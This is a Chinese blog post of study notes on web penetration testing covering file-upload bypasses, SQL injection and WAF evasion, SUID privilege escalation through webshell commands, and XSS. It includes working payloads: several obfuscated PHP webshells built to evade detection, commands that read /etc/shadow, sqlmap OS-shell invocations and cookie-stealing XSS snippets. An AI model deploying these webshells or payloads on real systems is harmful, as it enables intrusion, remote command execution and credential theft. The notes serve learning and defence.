web安全渗透框架梳理

web安全攻防要点

在这里插入图片描述

http协议

get 长度一般不超过1024kb
post 长度无限制,但浏览器一般有个界限
get数据会在url明文现实,post数据不显示。但安全性实质上一致的,都是tcp连接

一句话木马

在这里插入图片描述

文件上传漏洞

文件上传漏洞中阶

大小写绕过:win大小写不敏感、Linux反之
前端验证绕过:白名单校验
姿势1:bp抓包,修改放行
姿势2:通过浏览器禁止\删除js代码
.htaccess(分布式配置文件):

  1. 黑名单绕过,更改配置文件。
  2. 启用.htaccess文件的网站,使用此文件类型要绕过限制较全面的黑名单过滤。

文件上传漏洞高阶

文件流绕过: NTFS

echo 111 > test.txt:111.txt
echo test > test.txt
echo 222 > test.txt::$data

在这里插入图片描述

字符串截断绕过:
%00截断绕过
可以生效的根本原因:分别控制存储路径文件名称
文件头检测绕过:

文件名16进制
PNG89 50 4E 47
JPGFF D8 FF DB
GIF47 49 46 38

文件上传漏洞初探

fuzz
源码审计

SQL注入

旧文
SQL注入

判断:

  1. 单引号判断法 ?id=1'
  2. 判断注入型
  3. 回归测试

五大类

  1. 布尔
  2. 可联合查询
  3. 基于时间延迟
  4. 报错型
  5. 可多语句查询

隐蔽的http头盲注

修改user-agent

堆叠注入

OOB注入(OUT OF BAND)

预备知识

  • DNS迭代查询原理
  • TCPDUMP linux的数据包嗅探
  • UNC路径 格式:\servername\sharename (服务器名\共享资源名称),只在win生效

sql语句中’’前一个/代表转义符,最终代表两个/
load_fike()
在这里插入图片描述
在这里插入图片描述

绕过WAF

  • 绕过union、where、limit
preg_match('/(and|or|union|where|limit)/i',$id);

mysql> select id,min(name) from test group by id having id =1;
group byhaving 创建的是虚拟表
name等于一个list。如果要去拼接id和min(name),那么两个都是单个数值,min(name)看作一个数组

  • 绕过union、where、limit、group by
    substr() group_concat()
  • 绕过union、where、limit、group by、select以及单引号
mysql > select * from test where id = 1 || substr(name,1,1)=0x74
substr(name,1,1)=0x74不需要select支撑

数值以16进制存储在数据库中,可逃逸单引号的限制

  • 绕过union、where、limit、group by、select以及单引号、hex、unhex、substr
||binary(name)>0x74

binary() 整段数值转换为二进制,再转化为16进制

  • 绕过空格 /**/
  • 绕过= 替换为like
  • 大小写绕过
  • 双写绕过
    原因:过滤规则在进行匹配时,只进行了一次匹配,没有进行二次匹配。
  • 二次注入
    姿势:用户名admin'#,注册时有防御机制(转义)修改密码时,若username=‘username’,会导致二次注入。防御:代码与数据分离(预编译),进制用户名出现特殊符号

webshell命令执行与交互

udf命令执行与交互

Userdefined function(用户自定义函数)
自动化工具:sqlmap

sqlmap.py -u "url" --os-shell
sqlmap.py -u "url" --os-cmd=ifconfig

dumfile\outfile
outfile函数会在行末端写入新行,会转义换行符
dumpfile函数不对任何列或行进行终止,也不执行任何转义处理

工具:sqlmap

**

webshell

  • 提权过程分析
?cmd=system("find/ -user root -perm -4000 -print 2> /dev/null");
?cmd=system("touch pentestlab;"); //创建pentestlab文件
?cmd=system("find pentestlab -exec whoami\;"); //查询当前  回显:root
?cmd=system("cat /etc/shadow"); //执行失败 (/etc/shadow只有root权限才能查找)
?cmd=system("find pentestlab -exec cat /etc/shadow \;");执行成功 通过find提升权限
  • SUID提权
    什么是suid Linux环境下的一种除了rwx之外的附加权限
    find有SUID权限
执行find命令
find命令成功查找到目标文件
对该文件调用exec指定的命令
该命令由find命令调用
给命令继承find的root权限
  • 免杀
  1. 常量定义
<?php define("a","$_REQUEST[cmd]");eval(a);?>
可绕过WAF,执行时a会被替换为$_REQUEST[cmd]
  1. 定义函数
<?php
function a($a)
{
return $a;
}
eval(a($_REQUEST)['cmd']);
?>
  1. 定义类
<?php
class user
{
public $name='';
function _destruct()
	{
		eval("$this->name");
	}
}
$user=new user;
$user->name=''.$_REQUEST['cmd'];
?>
  1. 多方式传参
<?php
$cookie=$_cookie;
foreach($cookie as $key=>$value)
{
   if($key=='assert')
   {
      $key($_REQUEST['cmd']);
   }
}
?>

在这里插入图片描述

  1. 特殊调用
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST['cmd']);
?>

加密算法与随机数

MD5
sha值
对称与非对称加密
·····

框架安全攻击与防范

CVE漏洞都有编号
CVE
流行框架:struc2(java web)、sping(java)、thinkphp(php web)、django(python)

XSS

即跨站脚本攻击

三类型

反射型

<script>alert("点击确定进行修复");location.href="www.bilibili.com"</script>  跳入其他链接
<script>alert(document.cookie)</script>  输出(盗取cookie)
</p><script>alert(1);</script><p> 通过p闭合

短链接生成器

存储型

即xss代码存入到数据库中,调取时未经过滤,最后xss被执行

docker:Beff

DOM型

通过js操作DOM树动态地输出数据页面,而不依赖于将数据交给服务器端,它是基于DOM文档对象模型的一种漏洞。

危害

盗取cookie、广告引流 等等JavaScriot能够写出的任意恶意功能

XSS蠕虫

AJAX: 在不重新加载整个页面的情况下并更新部分网页的技术

过程:

  1. 基于存储型xss
  2. 伪装链接
  3. 点击感染
  4. 一传十 十传百

XSS混淆编码

JSFuck

伪协议与编码绕过

伪协议
data data:text/html;base64,efecdsc=
javascript javascript:alert(5)
编码

unicode编码(javascript编码)
url编码
html实体编码

同源策略及跨源访问

  1. cookie
  2. DOM

资源

靶场:https://github.com/geektime-geekbang/WebSecurity/tree/master/Chapter_1_code
课程:极客时间—web安全攻防实战

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值